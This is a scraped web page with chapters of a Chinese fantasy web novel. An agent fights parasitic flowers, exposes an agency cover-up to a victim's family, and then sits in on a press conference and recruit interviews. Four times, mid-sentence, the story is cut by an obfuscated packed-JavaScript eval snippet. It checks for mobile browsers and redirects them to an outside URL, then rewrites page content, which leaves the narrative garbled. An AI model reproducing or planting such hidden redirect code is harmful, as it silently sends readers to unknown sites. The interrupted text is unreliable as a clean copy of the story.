;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094755|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己眩晕过去。 车尔打了个手势,三人呈三角队形缓缓前进。 容贤看到了第一个热源。 那是个男人,正背对他们蹲坐着,他身上没有任何伤口,车尔绕到前面,异常在他的心口处,那里是异花发芽的地方,人心种上种子,就势必要和异花纠缠到死。 现在的医学已经突破,可以在初期将异花从人心强行剥离。 但这是男人已经没有生还的可能了。 车尔举起枪,瞄准心脏,但他没有立刻开枪,而是提醒容贤仔细看。 枪口亮起微弱的蓝光,一道纤细的能量束射出,精准地穿透心脏,无声无息,盘旋其中的异花再无生机。 清理部严苛的训练之一是必须要做到百发百中,偏离两厘米就会触发异花自爆。 第二个热源则是在不远处的拐角,是一位女性,她趴在地上,从后面灰尘的痕迹上看,她是一路爬过来的,和男人不一样,她身上的伤口很多,可以看到骨头。 她还在尝试移动,这一动,她的心脏从胸口的漏洞掉了出来,血管过于脆弱,没能拉住心脏,愣是让心脏落到了地上,大量的血往外喷,心脏还在跳动,女人把心捡起来,重新塞回胸膛。 杨理火倒吸一口凉气,“她还活着?” “她进化了,她的身体和异花高度重合,等她恢复起来,会重新隐藏人群中。”车尔的声音很冷,“杀了她。” 就在车尔举刀走向女人时,第三个热源动了。 它挡在女人面前,移动速度很快,直扑容贤。 “容贤!”车尔大喊。 她看到了它的真实,是红色的,它把人类五官抹去,露出花茎,它试图把人类的一切毁掉,可它有手有脚。 身体的本能让她“听”到了。 就是那里。 她抬起手,没有用枪,只是对着那个点,轻轻“捏”了一下。 啪! 它有些不明所以,摸了摸疼痛的地方,第一时间回到了女人身边,就要钻回她的胸膛。 它没做到,它倒下了。 要找到异花的核心,这很难,车尔和杨理火就没法直接确定位置。 车尔没问容贤怎么做到的蠢问题。 这就是不讲道理的直觉! 杨理火蹲下看了下女人的情况,遗憾摇头,“那个异花死了,她也没活成,之前应该是异花想让我们有的错觉。” 他走过来拍了拍容贤的肩膀:“干得漂亮。不过下次还是用枪吧,你刚才那一下,我差点以为整个仓库都要炸了。” 他在开玩笑,容贤也知道。 车尔和杨理火快速处理了现场,不放过任何角落,尸体不能留下,只能原地销毁。 这就是清理部的工作,像清理垃圾一样清理那些被异花吞噬的生命。 容贤往深走,有一处小门,很隐蔽,不细看是看不见的。 她推开门,被里面的场景惊呆。 车尔和杨理火跟在其后,他们比容贤知道的多,一眼就看出这是什么。 这是一个简陋的“培育室”。墙上挂满了透明的培养袋,袋子里都是一巴掌大的异花组织,旁边还有一个操作台,上面散落着笔记和试剂瓶。 车尔拿起一本笔记翻看,脸色越来越沉:“他们在尝试培育‘可控’的异花变种。用活体金属作为载体,让异花组织能在非寄生状态下长期存活,真是疯子。” “这些怎么办?”杨理火指着培养袋。 “全部销毁。”车尔说,“容贤,你来。记住,要同时破坏所有核心,不能留活体细胞。” 容贤走到房间中央,闭上眼睛,感受那些异花的核心,它们很虚弱,她催动异能,它们在回应她。 一连串细微的爆裂声。培养袋里的组织瞬间萎靡,随着碎渣沉入营养液底部。 整个房间暗了下来。 容贤走之前,往回看了一眼。 8. 正确 车尔向总局汇报了任务完成,申请后续处理队来清理现场。杨理火在驾驶座上哼着不成调的歌,看起来心情不错。 容贤靠在车窗上,手腕上的绿宝石正缓解着她刺痛的神经。还是太勉强了吗?她的异能波动还处于异常状态,可她现在已经在克制了。 车尔不知道她的纠结,以为她是因为人没有救下来很难过,说,“任务中,什么都可能发生,你做的很好,还好有你。” 他拍了拍杨理火,“还有你,别忘了写报告。” “报告?”容贤问。 “嗯,每次任务结束都要写详细报告,包括行动过程、异花特征、处理方法,还有个人总结。”车尔解释说,“虽然很多同事都觉得这太形式了,可这是很有必要的,能让我们及时发现问题,解决问题。” “每个人都要写吗?” 杨理火没好气道,“当然!”他讨厌写报告,大好时间应该是用来浪费的。 容贤若有所思,总结吗? 车开进总局车库时,赵随石已经等在那里。穿的一身修长的燕尾服,像是从哪个宴会下来。 “欢迎回来。”他说。 三人下车。杨理火迫不及待地开始讲任务细节,车尔在旁边补充。赵随石安静地听着,偶尔点头,目光不时落在容贤身上。 等他们说完,赵随石才开口:“做得很好。尤其是容贤,车尔汇报说,你的精准度超出了预期。” 容贤没有谦虚,“这是我该做的。” “回去早点休息吧。”赵随石说,“明天去见一见麻医生,她对你的身体表示担忧,因为她那边的系统显示你的情况狠糟糕。” “好。” 她坐到书桌前,打开智能工作日记。屏幕亮起,她开始写下,「任务报告」 「确认失踪者江铃(女,24岁)已死亡,死因为异花寄生反噬宿主。Ps:未能在行动中挽救受害者生命。嫌疑人在逃逸过程中被清除,其背后另有隐情,证据不足,一切未知。」 容贤点了提交。系统自动生成回执:「报告已归档,C级,权限,异防局三级以上干部可查。」 她关掉屏幕,房间陷入昏暗。 她的手机这时响了起来,上面显示着陈丹。 「你好,我是陈丹,不知你还记不记得我。」 容贤猜出来她此番来电是为了什么,「嗯,你想知道江铃怎么样,我无法告知。」 「这样吗,我不该问的,只是我今天遇到了她的父母,他们说被异防局通知前去取东西。」应该是凶多吉少,陈丹没忍心说出来。 「我知道了,我会注意一下。」 …… 异防总局一层接待大厅。 容贤结束体能训练,浑身酸痛。 赵随石已经和麻医生预约好了时间,她只管去就可以。 高不依给她制定的强化方案很严苛,只是个开始,就已经达到了她的极致。 在满是制服的大厅,她注意到一对夫妻,他们坐在等候区的椅子上,脸色很悲戚,穿着朴素。 负责接待他们的工作人员,容贤在清理部欢迎大会上见过她,是专门处理事后家属安抚工作的专员,姓白。 她听到白专员说江铃,停下了脚步,装作无意的坐在一旁,当然,只是她自以为,白专员早就看到了她。 “这是江铃女士留在住处的个人物品。”白专员的声音很轻,带着职业性的温和,“按照规定,所有与案件直接相关的证物不能移交,但这些私人物品可以交还家属。请节哀。” 女人接过那个箱子,看到上面放着落日的照片,一个个美好的少年正肆意朝着镜头欢笑,“她要追梦,我虽不理解,但也支持她来中心区发展,她可是我们那最出息的女孩,很聪明,申请到来这里的工作,她还说,等一等,她就会赚很多钱,给全家改善生活。” “多好的孩子啊,怎么就没了呢。”她声音越来越颤。 男人搂住妻子,眼圈通红,但努力维持着镇定:“谢谢你,警官,她走的快吗?” 白专员沉默了两秒。按照规定,她不可以透露有关细节,感情化的语言是会误导家属,但她看着这对夫妇,最终选择了折中:“行动很迅速。她……没有遭受长时间的折磨。” 真假掺半,她只能说到这里。 男人点点头,像抓住了一根救命稻草:“那就好……那就好啊。” 细碎压抑的哭声止也止不住,他们相拥而泣,来往的人都步履匆匆,半点眼神也没给他们。 这样的场景他们不是第一次见,也并不会好受,而白专员直面了他们的悲痛,正克制自己的难过。 容贤成了那个异类,这下白专员不能当看不见了。她走到她面前,让她赶紧离开。 按照规定,家属只能知道江铃遇害,嫌疑人已死。他们不会知道异花寄生,不会知道女儿做了花肥,成软水一般的存在,最后尸骨都留不下来,因为要高压灭菌,确保不会任何残余。 要“避免恐慌”,要“正确判断”。 容贤冲到电梯里,本来要去医疗科,结果往上多摁了一层。 她去找了赵随石。 …… “你觉得我做错了?” 赵随石的声音在办公室里响起,听不出情绪,他站在窗前,背对着容贤,看到刚离开的江铃父母。 容贤站在办公桌前,身上的训练服贴在皮肤上,头发沾到脸上,她连清洗都没做。 “我没有说错。”她顿了顿,“我只是觉得他们有权利知道自己的孩子发生了什么。” 赵随石转过身。午后的阳光从窗外斜射进来,给他全身渡了一层光,很耀眼,容县偏了偏头,继续说,“我不明白。” “不明白吗?”他问,“让他们知道自己的女儿死之前几乎遭遇了这世上最痛苦的事,清晰的感受到自己的心脏掉了又掉,每根血管破裂,神经被压迫到极致,求生不得求死不能,直到被榨取最后的一滴血。” “容贤,我们是要确保整个社会在健康运行,你说要将真相公布,一旦他们的恐慌的情绪失控,你能控制吗?” “之前七区和十六区跨区售卖非法活体金属, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094756|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么会被异警部的人盯上,是因为之前七区的人疏忽大意,将未控制的异花种子泄露出去,离最近的小区被群体性寄生,无法救治,用大火烧了七天七夜,死的人都无法统计。” “消息封锁,大家只知道是一家人错误操作机器失火,仅仅是这样,异防局被质疑的声音从来没有停止。” 容贤从未听过。 赵随石叹气,“在‘让几百万人陷入恐慌’和‘让一对夫妇承受隐瞒’之间,你选哪个?” “这不是二选一。”容贤直视他的眼睛,“江铃的家人…你说他们情绪激动,不会有正确的判断,可谁有资格替他们定义什么是‘正确’?” “没人敢赌,容贤。”赵随石无奈,“异花在中心区的渗透程度到了多少,我们还没有具体数据,但见过七区大规模的制造贩卖,这并不是什么小数目。” 他走到容贤面前,声音低了下去,“清理部正在关键时期。” “所以真相要让步于‘时机’?”容贤问。 “让真相发挥正确的作用,需要对的时机和方式。”赵随石纠正她,“绝对不能是现在。” 容贤说明白了,可赵随石知道她开始钻起了牛角尖。 容贤没有直接回宿舍。 她去了总局的资料库,查了下最近七区的案子。 自从宣告进入后末日时代,人们对异花的印象就是在源河外的十八区,再无危害人类的可能。 档案上写的和赵随石说的一样,七区频繁的爆发异花寄生,这才引起异警部调查,最后转到清理部手里收尾,才没有引发大的恐慌。 一切都被掩饰的很好。 江铃的父母住在五区的一栋旧居民楼里。容贤从中心区坐车,和她一起坐车的人都是在中心区买不起房,每天都要回家住的五区居民。 开门的是江铃的父亲。他看到容贤身上的清理部制服,愣了一下。 “您是……” “我叫容贤。”她说,“关于您女儿的事,有些情况……我觉得您应该知道。” 她说了十分钟。没有隐瞒,没有修饰,把自己的工作汇报说了出来。 异花重来,这是每个经历末日都会害怕的一幕。 学过历史的后来人清楚末日的可怕,但生活已经安逸了,这代表他们不愿意去想那混乱的时代。 男人抬起头,眼睛通红:“当时为什么不告诉我们?” “规定。” “谢谢。”江铃的母亲忽然说。她走到容贤面前,深深鞠了一躬,“谢谢你告诉我们真相。” 容贤扶住她:“对不起,我……” “对不起我们的,不是你。”江铃母亲紧紧握着她的手。 离开时,江铃的父亲送她到楼下。她往前走了几步,听到后面人说,“我们会去讨个说法的。不是闹事,就是要一个公开的交代。异花不是应该被源河隔绝了吗?为什么会出现在我女儿身上,很多事我们都不懂,可发生在我女儿身上的悲剧,我不想在其他人身上看到了。” 容贤想说什么,但最终只是点了点头。 9. 记者会 容贤在第二天早上就看到了江铃的父母在异防总局门口拉起横幅。 他们要求公开“异花非法入侵案”的全部真相。他们没闹,没吵,只是安静地站着,举着女儿的照片和连夜打印出来的、从容贤那里得知的信息摘要。 赵随石叫她去办公室,她很是乖觉,坐都没坐,老实的站在他面前。 “你满意了?” 容贤点头,然后又摇头,赵随石敲了敲桌子,“之前不是挺能说的吗?怎么现在不说话了?” 他浑身的低气压,容贤当然不想在这个时候再惹怒他,哪怕赵随石是公认的好脾气,可她隐约能感觉到他可没看上去那么好说话。 她感觉没有错,赵随石何止是生气,他还有一种对容贤不受控的荒谬感。 一个不大不小的麻烦,问题不大,赵随石很快就想出应对的法子。 他先是对容贤说,“从现在开始,你不要脱离我的视线,我去哪里,你就跟到哪里。”再打了几个电话,语气都不一样,从恭敬到随意,容贤还认不全那些人,于是听糊涂了。 中午十二点,「惊!末日异花竟藏在你我之间」的话题成各大社交媒体的热门。 下午两点,官方发布一则含糊不清的澄清,想要歇过不谈,冷处理掉。没成想适得其反,引发更多内部消息溢出,同时知情专业人员匿名举报。 容贤是亲眼看到杨理火的匿名信发布的,姿态放松,像是发了一条问好的信息。 他和赵随石说,“老头们这下肯定坐不住了。” 两个小时后,异防总局召开紧急记者会。发言人试图解释“案件仍在调查中”“部分信息不便公开”,但台下记者可会不轻易放过这个机会,直播人数已经迅速飙升到万人。 “所以确实有异花活体被运进中心区?” “类似事件以前发生过多少次?” “为什么不对公众预警?” “处理此事的清理部为何不出来亲自说明?” “经我们调查,如今的清理部人数还没有战时的三分之一,为什么人员如此稀少?异防局的资源分配是否存在问题?” 全部都是挖坑等着发言人自己往下跳,他神色严肃,强行以“后续会发布正式通报”匆匆结束。 混乱中,有人挖出了异防局这些年的“精英主义”做派,有高昂的准入门槛,奢侈的部门福利,与底层区域匮乏的资源形成鲜明对比的预算分配。七区的事已经引起部分人注意,关注此事的人本就对他们粗暴的处理很不满,一些经济赔偿就能掩盖真相,实在是令人气愤。 「我们的社会力量要保护的是特权吗?」 「清理部只有几个人?异花来了谁去挡?!」 舆论彻底失控。 ……… 当晚,异防总局顶层,局长办公室。 赵清安站在办公桌后,他已经六十岁,却不显疲态,和赵随石如出一辙的白发,他的背后墙上挂满了奖章和合影,那是他一路走来的证明。 赵随石站在桌前,一言不发。 “你回来后,就没有回过家,你的母亲很想你。”赵清安开口,听不出情绪。 赵随石抱歉道,“嗯,事情比较多,没来得及回去,我已经通过电话。” “你口中的事情是指什么?”赵清安冷道,“现在谁不知道这是你选那个人惹出的麻烦?” “是我的责任。”赵随石说。 “你担得起吗,你仔细看看这上面写的什么!”赵清安把桌上的平板推给他,“大统帅本来就盯着异防局紧,现在闹出这样的事,你怎么担?” “父亲,他们说的都是真的。”赵随石呵了一声,“异防局做了什么你比我更清楚,做都做了,还怕别人说吗?当初我被迫离开,不就因为他们的手伸的太长,父亲你在异防局的话语权越来越低。” “那也要在我们控制的时候爆!”赵清安压低声音,“现在呢?现在主动权在谁手里?那恨不得让我们立即下台的欧阳学者。” 欧阳学者是一个尊称,目前的人才培养都是从他们学院走出来的,欧阳宇如今是第二任校长,第一任校长是他的父亲欧阳斌。他们认为现在社会已经稳定,异防局不需要那么高的权重。 赵清安低沉道“在我见你之前,大统帅和我视频,他说,‘异防局从战时建立,它本来是为了守护,可如今被质疑其存在性,说明异防局确实要做出一些改变。’大统帅的意思已经很明显。” “父亲,大统帅既然要让我们做出改变,那就改变吧。从清理部开始,现在的重点不应该是野区了,现在的异花已经成了人类牟利的工具。” “我们还要公开所有能公开的信息。承认清理部人手不足,承认过往处理方式存在问题,承诺彻底调查异花走私链。” 赵随石一字一句地说,“清理部之后的行动都会受到人民的监督。” 赵清安是听到最后,才明白过来了,“这是你的目的?你知道这意味着什么吗?” “知道。”赵随石说,“父亲,你一向不看好我,因为我的异能弱,可如今,你必须承认,现在的世道变了,只有我才可能保住家族现有的一切。” 他停顿了一下,声音坚定,“我在做一件正确的事,你应该支持我,相信我。” 他走出门,容贤立马跟上去,她没想到事情闹的这么大,手机上一直弹出相关的新闻,还能看到她的名字,不仅是她,还有在岗的同事们,因为他们待的久一点,比她的信息要多一点。 她没敢看群,关掉手机,试图当做什么都没发生。 “现在知道害怕了吗?”赵随石摸了摸她头,“做好准备,明天你和我一起出镜。” “啊?可以不吗?” 赵随石勾起嘴角,眼睛眯起来,“不可以呢。” 容贤仿佛从他头上看到了邪恶魔鬼的角。 …… 第二天上午,异防总局再次召开记者会。 这一次,站在台上的是赵随石,他后面站的是容贤。 他们穿的是清理部出外勤的制服,很少有人会看到清理部在外活动的场景,所以他们这一身让记者眼前一亮,赵随石露出清晰眉眼,将长色白发绑起,容贤则是带着面罩,一直紧绷着神经。 台下闪光灯此起彼伏,镜头对准这个一向低调的年轻部长。 “我是清理部部长赵随石。”他开口,声音通过扩音器传遍会场,“关于近期公众关切的问题,我代表清理部,也代表异防局,做出以下说明。” 他身后的大屏幕亮起,投影出有关清理部整体的人员划分和受害者江铃相关的报告。 “第一,并非是异花入侵,我们的源河防线并未陷落,而是有人将异花偷渡,涉及非法,事情重大,我们之后会成立专项小组来调查。” “第二,承认清理部目前存在人员不足问题,一方面是因为人才供给不足,一部分则是人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094757|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员分布不合理,我们会在后续改善这些问题。” “第三,在接下来的调查中,我们向公民做出承诺,如果您知道有关于异花的事,可以致电我们的工作人员。” “第四,异防局的职责是守护,绝不允许特权泛滥,我们内部会进行长期的反特权运动。在此,我代表异防局郑重地向大家道歉,一切隐瞒是出自我们判断错误,傲慢的态度让我们看不清人民之心。” 道歉两个字一出,会场安静了一瞬。 在中心区,在异能防卫安全总局,公开道歉几乎是前所未有的事。 另一个记者毫无征兆的站起来,“赵部长,您个人对此事的态度是什么?据说是因为您部门的一位新队员向受害者家属透露了信息,才导致公众的注意?” 赵随石不假思索道,“首先,我的队员是在做一件她认为该做的事,其次,”他顿了顿,声音清晰,“真相不应该成为权衡的筹码。保护民众的前提,是尊重民众。如果连这一点都做不到,那我们所谓的‘保护’,不过是另一种形式的控制。” 他越说越从容,台下的人或嘲讽,或愤怒,都已经记录下这一刻。 “清理部会重新整顿,我们会增加人员,提高透明度,接受监督。但更重要的是,我们会记住,我们存在的意义,是清理一切危害公民的东西。” 他单手扶胸口,微微鞠躬,“我的话完了。谢谢。” 在下台时,他被冲上来的记者围住,容贤强硬挤开他们,“让开。” 赵随石这一番话可以改变什么?可能什么都没改变,但有一点是确定的,那就是他们都记住了赵随石。 容贤把人安全送到办公室,其他同事都面带笑意地鼓掌,大屏幕上还轮番放着他们离开的画面。 赵随石问,“感觉如何?” 容贤摘掉面具,脸颊红润,眼睛亮晶晶的,“这感觉棒极了!” “我说了你想说的话。”赵随石坐了下来。 容贤看着他的眼睛,“不,这事你该说的话。”她有些不好意思,“赵哥,是我给你添麻烦了。” 赵随石含笑道,“这不是麻烦,我该感激你,如果不是你,我还没有勇气。” 他调出中心区的地图,“我们一起改变吧,你会帮我的,不是吗?” “我会帮你的。”容贤坚定道,“只要你需要我。” 清理部的人员名单会大动,赵随石会把之前的属下都调回来,他要打造一个只听命于自己的清理部。 赵随石说,“给出五十个名额从社会招聘,要求和内部一样,容贤,你负责第一轮面试,他们在你手里能过三招,就进入第二轮面试。” “我可以吗?” “你在怀疑我的决定?” “没有,当然没有!”容贤高声道,“我可以。” 晚霞的光穿过玻璃,打在他们身上,他们一起看过去,容贤的手机响起,是江铃妈妈发来的短信。 「我们可以安心的睡觉了,谢谢你,希望你一切顺利。」 容贤浅笑了一下,赵随石看到,轻松下来,“今晚先胡吃点什么?” 她摸了摸肚子,“好饿,可以吃肉吗?我刚发了工资,我来请客。” “可以,麻医生那边我会隐瞒的。” “那就好。” 赵随石忍俊不禁,“那么怕麻医生知道吗?” “麻医生是很温柔,可她会让高医生加训练量!” 10. 面试 “早上好。”杨理火姗姗来迟,这是他迟到的第N天。 从他潦草的头发、领口下若隐若现的吻痕上看,他显然度过了一个不错的夜晚。 他晃悠到公共休息区,给自己倒了杯水,倚在吧台旁,懒洋洋的朝容贤看去,容贤的工位靠在透明玻璃上。 她面不斜视,正认真地看着悬浮在面前的半透明光屏,今日的面试名单。 五十个名字,密密麻麻排列着,旁边附有简单的履历和异能初评。 杨理火探头看了一眼,“什么嘛,还真让你来啊?”语气带着惯有的调侃,“万一被你吓到,这可不利于我们清理部‘和善’的形象。” 容贤说,“赵哥安排的,他说能在我手里过三招,才能进二面。” “三招?”杨理火对严苛的要求感到意外,笑意加深,带着点幸灾乐祸,“行,物尽其用,不过我可得提醒你,下手轻点,有几个要特殊照顾一下,走个过场就行了。” “赵哥没提过。”容贤关掉名单,站起身,准备去换一身训练服。 “我们这位部长大人向来不管这些的,毕竟这些人进来也不会凑到他面前碍眼,会主动提出调部门的。”杨理火耸耸肩,“不过现在嘛……风头正紧,让你来可能也有他的用意,我可是该说的都说了,你自己想想怎么做吧。” 容贤一脸懵逼地看着他,说了半天到底再说什么?想半天,她觉得是在提醒她认真点。 杨理火低头玩起了最新的火柴人游戏。 面试地点设在五十五层的特训场。这里平时用于内部对抗训练,场地宽阔,地面和墙壁都覆盖着能吸收A级以下异能冲击的特殊材料,不过经久未修,显得有些破旧。 容贤到的时候,已经有十几个人在等候区了。 在社会公开招聘,是一个很冒险的尝试,谁也不希望出意外,因此还安排了医生在旁。 面试的人中有男有女,二十岁到三十岁左右,从他们的面庞中可以看出紧张期待,也有些神色倨傲,三三两两的站在一起。 看到容贤独自一人走进来,几个等候者交换了一下眼神。他们听说过清理部来了个十六区的新人,很受赵随石看重,但亲眼见到,还是觉得意外,太年轻了,也太普通,过于丧气的脸庞,看不出什么强者的气势。 容贤没理会那些目光,径直走到场地中央,朝场外点了点头,全场开始封闭,周围的环境切换。 “第一轮面试,规则很简单。”她的声音在这个时候显得很清晰,“能挡我三招,就可以二面。” 开玩笑吧!这么简单?几个面露不悦,这是在瞧不起他们吗?他们都被家人寄予厚望,可不是来玩的。 “开始吧。” 容贤站在台上,后退一步,“谁先来?” 一个人跳了上来,一身运动服,金发蓝眸,笑容爽朗,资料上写的是,莱德,冰系,攻击性B+级。 “请指教。” 他沉浸下来,摆开双手。 容贤点了点头,下一秒就出手,在对方反应过来前就出现在他后面,朝他脖子的一处点下去。 啪! 莱德感到自己整个灵魂都被炸翻天,他头晕眼花,直接半跪在地上,如果不是他靠着胳膊死命支撑,当场就倒下了。 场内一片寂静。 “莱德,你情敌了,你输在傲慢。”容贤毫不客气道。 “……我,我输了。”莱德苦笑,一双蓝眸有些痛苦,“看来还是太弱了吧。” “你还没倒下,不继续吗?” 容贤没有打击他的意思,她只是客观的认为他的实力还没有完全展现出来。 莱德却听的吐血,这不是明摆着他输了吗?还要怎么样啊,他连一个新人都打不过,还进个屁! 可他好面,当着这些人面只能忍着痛站起来,强行催动异能,这次容贤就原地不动,等着他攻击。 冰封大地,容贤踩在冰上,凉意从脚上传来,一抬脚,往下踩,冰裂声响起。 咔嚓,莱德的攻击和防御都碎了。 “三招已过,通过。” 机械音播报,“请三十一号准备去第二次面试。”重复三遍。 莱德应该很高兴,可他此刻太沮丧。 第二个是风系女孩,试图靠速度周旋。容贤在她第三次变向的瞬间,精准地打击她的空隙,她躲闪不开,任由对方把她丢出去。 “不合格。” 第三个防御,容贤在他还没结阵,就直接打断,纯靠自己这些天锻炼出来的身体,连异能都没怎么用。 “不合格。” 接下来的人上台越来越犹豫,不合格,这三个字成了他们之后的噩梦。 “噗”的一声轻响,气势汹汹的火焰停在容贤面前,她伸手直接抓住这灼热的火,两手一拍,看似吓人的火焰随即熄火,她的手一点事都没有。 怎么会这么轻易!?她是怪物吗? 火系的人僵在原地,冷汗涔涔。 “不合格。”容贤云淡风轻道,“下一个……” 面试以惊人的效率进行着。一个,两个,三个……大部分人在第一招或第二招就败下阵来,除非有潜力,她会特意逼一下,看看对方能爆发到什么地步。 等候区里的气氛从紧张期待,逐渐变成了压抑和难以置信。那些原本心存轻视或自觉不凡的面试者,脸色越来越凝重。 他们反应过来,这个人能让赵随石从低层区带来,就已经说明了她的异能,她的战斗意识已经强到无法忽视的地步。 杨理火不知什么时候就出现在场外,靠着栏杆往下看,嘴里不断惊叹,“乖乖,这哪里是面试,这是单方面碾压啊,赵哥可真会找人……” “第四十号,吴宙。” 一个穿着考究定制训练服的年轻男人站上来,二十五六岁,容貌英俊,头发打理得一丝不苟,姿态放松,一种与生俱来的优越感。 他并未像其他人那样摆出戒备姿势,而是强调了一下自己的身份,“容贤小姐,久仰。我是吴宙,吴这个姓你应该不陌生吧,资源分配局的吴霞是我的姑姑,之前和赵伯伯,哦,就是赵局长,还有随石哥都打过招呼的。” 他的声音不大,尾音上挑,标准的中心区精英,等候区里不少人眼神微动,露出“果然如此”或了然的神色。 吴霞是谁,那可是把一生献给土地的农学家,她跟随着父亲的脚步,进入研究植物的领域,她的父亲在后末日初期成第一任资源分配局局长。 容贤看着他,心想这就是杨理火说过要关照的人吧,那要更加小心对待了。 她见他不动手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099022|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,提醒道,“请准备。” 吴宙不知她是在装傻还是真的不知,笑容不变,补充道,“我的异能是精神系分支,‘意识干扰’,评级A-。可能不太适合这种直接对抗,还请容小姐手下留情,走个流程就好。” 他言下之意是想让容贤识趣点,别让大家都难看。 容贤点了点头,当他的话是耳旁风,“开始。” 吴宙强行微笑,他不想太失态,那很不体面。他依然保持着风度,集中精神。 他是想给容县一个教训,所以他调动精神异能试图制造困住她的幻境。 容贤站在原地,任由那精神力场笼罩自己。 在他人眼里,包括吴宙,都认为她中招了,要不然她为什么一动不动。 吴宙嘴角勾起一抹笑意,觉得稳了。他甚至在考虑,是等三招时间到自动过关,还是“勉强”让容贤移动一步,显得自己更有实力。 就在他放松的刹那,容贤动了。 她你有恍惚,完全没有受到幻境影响,直接暴力地锤了他一拳,给他打的昏头转向。 吴宙心里大惊失色,想扰乱她的视觉神经,觉果对方眼睛被糊住,也不妨碍她的动作,直接来个后背摔。 “砰。” 容贤眨了眨眼,恢复视觉,蹲下往他头上一点。 “不合格。” 台下再一次鸦雀无声。 所有人都目瞪口呆地看着坐在地上、浑身发抖、还没从精神冲击中恢复过来的吴宙。 这好歹也是A级了,一招秒是不是有点太过分了。 这已经不是打脸,这是把脸按在地上摩擦,顺便还踩了两脚。 杨理火满脸看热闹不嫌事大的兴奋,出声道,“哇哦!精彩!想走后门?不存在的!我们的容贤对这个任务很认真的,吴公子,回家再练练吧,我们这随时欢迎来啊。” 吴宙被两个工作人员勉强搀扶起来,他看向容贤的眼神充满了惊惧和怨毒,嘴唇哆嗦着,受到的打击太大,话都说不出来,被人送了出去。 面试继续进行,但剩下的几个人明显更加紧张,甚至带着恐惧。 不过容贤一如既往,很是严谨的按照三招过关规则做事,对他们的恐惧表示不解。 她也没做什么啊? 最终,五十人中,七个人留了下来,这七个人,有男有女,异能各异,阶级不一,但抗压能力都不错。 开完会的赵随石看到最后的名单,有点想笑,问容贤,“为什么选他们?” “不是说三招吗?”容贤硬着头皮说。 “他们加起来可能都没你能打。”三招,那是赵随石给的说辞,单手点了点名单,“说实话。” 容贤理不直气也壮,“他们没瞧不起我。” “还有呢?” “你需要。” 赵随石有点惊讶,忍不住问,“你怎么知道我想要他们?” “他们几个信息很详细,和其他人不太一样。”容贤有点紧张,“我感觉你特意的。” 赵随石把手背到眼上,像是不想面对。 容贤安慰道,“我真不知道为什么你要调查他们,人我给你留下了,你不开心吗?” 赵随石放下手,似非似笑,“开!心!” 被看穿的滋味可真难受呢。 11. 福利院 清晨的异防总局,还未到正式上班时间,走廊里略显冷清。 容贤结束晨间训练,换下训练服,几个和她一起训练的人热情洋溢的和她打招呼,她冷淡回应。 她刚来没多久,在面试上力挫群雄的一幕被大传特传,连她训练的视频都有人高价买下,跟了一遍下来,累的躺地,异防局大多数还是慕强的,已经成了容贤的迷弟迷妹。 容贤不知道这些,没有任务的时候,她的日常就是疯狂训练,每天回去累的只想睡过去。 手腕上的绿宝石链发凉,平复着高强度训练后体内异能残余的细微躁动。 杨理火一如既往地散漫,打了声哈欠说,“早啊大家……” 目光瞥见容贤已经坐在光屏前,特意坐到她旁边,“来,拍个照。” “不要。”容贤果断摇头。 “都不问问为什么就拒绝吗?啧,无聊。” 杨理火滚进自己的座椅,打开娱乐新闻,开头就是他的女神,心情愉快了起来,往下刷,忽然,他坐直了些,放大了一条滚动在本地新闻栏底部、并不起眼的简讯:「近日,喜山福利院受到著名企业的捐赠,院长余营营表示将全部用于改善儿童生活环境与教育。」 “喜山啊……”杨理火低声重复,手指无意识地敲着桌面。 “怎么了?”容贤察觉到他的异样。 “没什么,有点耳熟。”杨理火皱了下眉,似乎想回忆什么,但很快又放弃了,“可能路过那里吧。” 赵随石和车尔先后进来,神色都不太好。 “开会。” 他话音落下,门自动关闭,隔音系统启动。 “刚接到一个转过来的举报。”赵随石没有绕弯子,示意车尔打开投影。 所有人的手机弹出一份文件,容贤点击查看。 “你们现在看到的就是此案已知的内容,一个来自喜山福利院员工的叙述,她声称自己从事的福利院院长参与了异花交易。” 